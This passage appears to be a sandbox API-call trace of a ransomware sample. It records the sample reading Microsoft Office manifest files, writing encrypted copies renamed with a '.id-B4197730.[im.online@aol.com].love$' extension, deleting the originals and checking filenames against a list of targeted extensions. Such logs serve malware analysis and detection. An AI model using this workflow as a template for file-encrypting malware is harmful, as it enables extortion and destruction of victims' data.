lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0112.145] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.146] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0112.146] GetLastError () returned 0x0 [0112.146] ReadFile (in: hFile=0x360, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x863, lpOverlapped=0x0) returned 1 [0112.224] WriteFile (in: hFile=0x368, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x870, lpOverlapped=0x0) returned 1 [0112.226] ReadFile (in: hFile=0x360, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.226] WriteFile (in: hFile=0x368, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0112.226] SetEndOfFile (hFile=0x368) returned 1 [0112.226] CloseHandle (hObject=0x368) returned 1 [0112.232] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.232] SetEndOfFile (hFile=0x360) returned 1 [0112.233] CloseHandle (hObject=0x360) returned 1 [0112.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0112.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1 [0112.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0112.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0112.234] lstrlenW (lpString=".doc") returned 4 [0112.234] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.234] lstrlenW (lpString=".docx") returned 5 [0112.235] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.235] lstrlenW (lpString=".pdf") returned 4 [0112.235] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.235] lstrlenW (lpString=".xls") returned 4 [0112.235] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.235] lstrlenW (lpString=".xlsx") returned 5 [0112.235] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.235] lstrlenW (lpString=".ppt") returned 4 [0112.235] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0112.235] lstrlenW (lpString=".zip") returned 4 [0112.235] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.235] lstrlenW (lpString=".rar") returned 4 [0112.235] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.235] lstrlenW (lpString=".bz2") returned 4 [0112.235] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.235] lstrlenW (lpString=".7z") returned 3 [0112.235] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0112.235] lstrlenW (lpString=".dbf") returned 4 [0112.235] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0112.235] lstrlenW (lpString=".1cd") returned 4 [0112.235] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0112.235] lstrlenW (lpString=".jpg") returned 4 [0112.236] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0112.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0112.236] lstrlenW (lpString=".doc") returned 4 [0112.236] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.236] lstrlenW (lpString=".docx") returned 5 [0112.236] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.236] lstrlenW (lpString=".pdf") returned 4 [0112.236] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.236] lstrlenW (lpString=".xls") returned 4 [0112.236] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.236] lstrlenW (lpString=".xlsx") returned 5 [0112.236] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.236] lstrlenW (lpString=".ppt") returned 4 [0112.236] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0112.236] lstrlenW (lpString=".zip") returned 4 [0112.236] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.236] lstrlenW (lpString=".rar") returned 4 [0112.236] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.236] lstrlenW (lpString=".bz2") returned 4 [0112.236] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.236] lstrlenW (lpString=".7z") returned 3 [0112.236] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0112.237] lstrlenW (lpString=".dbf") returned 4 [0112.237] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0112.237] lstrlenW (lpString=".1cd") returned 4 [0112.237] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0112.237] lstrlenW (lpString=".jpg") returned 4 [0112.237] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.237] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0112.237] lstrlenW (lpString="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 53 [0112.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0112.238] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=2147) returned 1 [0112.238] CloseHandle (hObject=0x360) returned 1 [0112.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0112.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0112.238] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.238] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0112.239] GetLastError () returned 0x0 [0112.239] ReadFile (in: hFile=0x360, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x863, lpOverlapped=0x0) returned 1 [0112.250] WriteFile (in: hFile=0x368, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x870, lpOverlapped=0x0) returned 1 [0112.251] ReadFile (in: hFile=0x360, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.251] WriteFile (in: hFile=0x368, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0112.252] SetEndOfFile (hFile=0x368) returned 1 [0112.252] CloseHandle (hObject=0x368) returned 1 [0112.261] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.261] SetEndOfFile (hFile=0x360) returned 1 [0112.262] CloseHandle (hObject=0x360) returned 1 [0112.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0112.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1 [0112.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0112.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0112.263] lstrlenW (lpString=".doc") returned 4 [0112.263] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.263] lstrlenW (lpString=".docx") returned 5 [0112.263] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.263] lstrlenW (lpString=".pdf") returned 4 [0112.264] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.264] lstrlenW (lpString=".xls") returned 4 [0112.264] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.264] lstrlenW (lpString=".xlsx") returned 5 [0112.264] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.264] lstrlenW (lpString=".ppt") returned 4 [0112.264] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0112.264] lstrlenW (lpString=".zip") returned 4 [0112.264] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.264] lstrlenW (lpString=".rar") returned 4 [0112.264] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.264] lstrlenW (lpString=".bz2") returned 4 [0112.264] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.264] lstrlenW (lpString=".7z") returned 3 [0112.264] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0112.264] lstrlenW (lpString=".dbf") returned 4 [0112.264] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0112.264] lstrlenW (lpString=".1cd") returned 4 [0112.264] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0112.264] lstrlenW (lpString=".jpg") returned 4 [0112.264] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0112.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0112.265] lstrlenW (lpString=".doc") returned 4 [0112.265] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.265] lstrlenW (lpString=".docx") returned 5 [0112.265] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.265] lstrlenW (lpString=".pdf") returned 4 [0112.265] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.265] lstrlenW (lpString=".xls") returned 4 [0112.265] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.265] lstrlenW (lpString=".xlsx") returned 5 [0112.265] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.265] lstrlenW (lpString=".ppt") returned 4 [0112.265] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0112.265] lstrlenW (lpString=".zip") returned 4 [0112.265] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.265] lstrlenW (lpString=".rar") returned 4 [0112.265] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.265] lstrlenW (lpString=".bz2") returned 4 [0112.265] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.265] lstrlenW (lpString=".7z") returned 3 [0112.265] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0112.265] lstrlenW (lpString=".dbf") returned 4 [0112.265] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0112.266] lstrlenW (lpString=".1cd") returned 4 [0112.266] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0112.266] lstrlenW (lpString=".jpg") returned 4 [0112.266] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.266] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0112.266] lstrlenW (lpString="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 53 [0112.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.886] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=215883) returned 1 [0112.886] CloseHandle (hObject=0x380) returned 1 [0112.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0112.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0112.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.887] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.887] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0112.889] GetLastError () returned 0x0 [0112.889] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x34b4b, lpOverlapped=0x0) returned 1 [0112.897] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x34b50, lpOverlapped=0x0) returned 1 [0112.902] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.903] WriteFile (in: hFile=0x354, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0112.903] SetEndOfFile (hFile=0x354) returned 1 [0112.903] CloseHandle (hObject=0x354) returned 1 [0112.913] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.913] SetEndOfFile (hFile=0x380) returned 1 [0112.917] CloseHandle (hObject=0x380) returned 1 [0112.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0112.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1 [0112.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0112.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0112.918] lstrlenW (lpString=".doc") returned 4 [0112.918] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.918] lstrlenW (lpString=".docx") returned 5 [0112.918] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.918] lstrlenW (lpString=".pdf") returned 4 [0112.918] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.918] lstrlenW (lpString=".xls") returned 4 [0112.918] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.918] lstrlenW (lpString=".xlsx") returned 5 [0112.918] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.918] lstrlenW (lpString=".ppt") returned 4 [0112.918] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0112.919] lstrlenW (lpString=".zip") returned 4 [0112.919] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.919] lstrlenW (lpString=".rar") returned 4 [0112.919] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.919] lstrlenW (lpString=".bz2") returned 4 [0112.919] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.919] lstrlenW (lpString=".7z") returned 3 [0112.919] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0112.919] lstrlenW (lpString=".dbf") returned 4 [0112.919] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0112.919] lstrlenW (lpString=".1cd") returned 4 [0112.919] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0112.919] lstrlenW (lpString=".jpg") returned 4 [0112.919] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0112.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0112.919] lstrlenW (lpString=".doc") returned 4 [0112.919] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.919] lstrlenW (lpString=".docx") returned 5 [0112.920] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0112.920] lstrlenW (lpString=".pdf") returned 4 [0112.920] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.920] lstrlenW (lpString=".xls") returned 4 [0112.920] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.920] lstrlenW (lpString=".xlsx") returned 5 [0112.920] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0112.920] lstrlenW (lpString=".ppt") returned 4 [0112.920] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0112.920] lstrlenW (lpString=".zip") returned 4 [0112.920] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.920] lstrlenW (lpString=".rar") returned 4 [0112.920] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.920] lstrlenW (lpString=".bz2") returned 4 [0112.920] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.920] lstrlenW (lpString=".7z") returned 3 [0112.920] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0112.920] lstrlenW (lpString=".dbf") returned 4 [0112.920] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0112.920] lstrlenW (lpString=".1cd") returned 4 [0112.920] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104 [0112.921] lstrlenW (lpString=".jpg") returned 4 [0112.921] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.921] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0112.921] lstrlenW (lpString="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 53 [0112.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft 